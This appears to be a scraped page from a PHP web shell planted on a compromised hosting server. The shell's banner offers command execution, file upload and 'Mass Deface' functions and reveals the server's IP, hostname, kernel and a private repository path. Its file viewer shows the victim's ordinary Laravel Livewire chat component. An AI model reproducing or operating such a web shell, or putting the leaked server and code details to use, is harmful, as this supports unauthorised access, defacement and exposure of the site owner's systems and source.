���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Site
/
Pages
/
Tenant
/
Viewing: ChatWithTenant.php
<?php namespace App\Livewire\Site\Pages\Tenant; use App\Models\Conversation; use Carbon\Carbon; use Livewire\Attributes\Url; use Modules\Messenger\Models\Message; use Modules\Project\Models\Order; use Modules\Tenancy\Models\Tenant; use Livewire\Component; class ChatWithTenant extends Component { public $services_id; public $order_id; public $message; public $subjects; public $conversation; public function mount(Order $order) { $this->order_id = $order->id; $this->conversation = $conversation = Conversation::with('participants') ->where('subject_id', $order->id) ->where('subject_type', get_class($order)) ->first(); if (is_null($conversation)) { $this->conversation = Conversation::create([ 'creator_type' => auth('web')->user()::class, 'creator_id' => auth('web')->id(), 'subject_type' => Order::class, 'subject_id' => $order->id, 'title' => $order->number . '-' . $order->name, ]); } if (!$this->conversation->IamMemberForThis()) { $this->conversation->participants()->create([ 'participant_type' => auth('web')->user()::class, 'participant_id' => auth('web')->id(), 'last_seen_at' => Carbon::now() ]); } $this->conversation->loadMissing('participants'); } public function render() { return view('livewire.site.tenants.chat-with-tenants') ->layout('components.layouts.site.app', ['page_name' => 'chat_with_tenants']); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa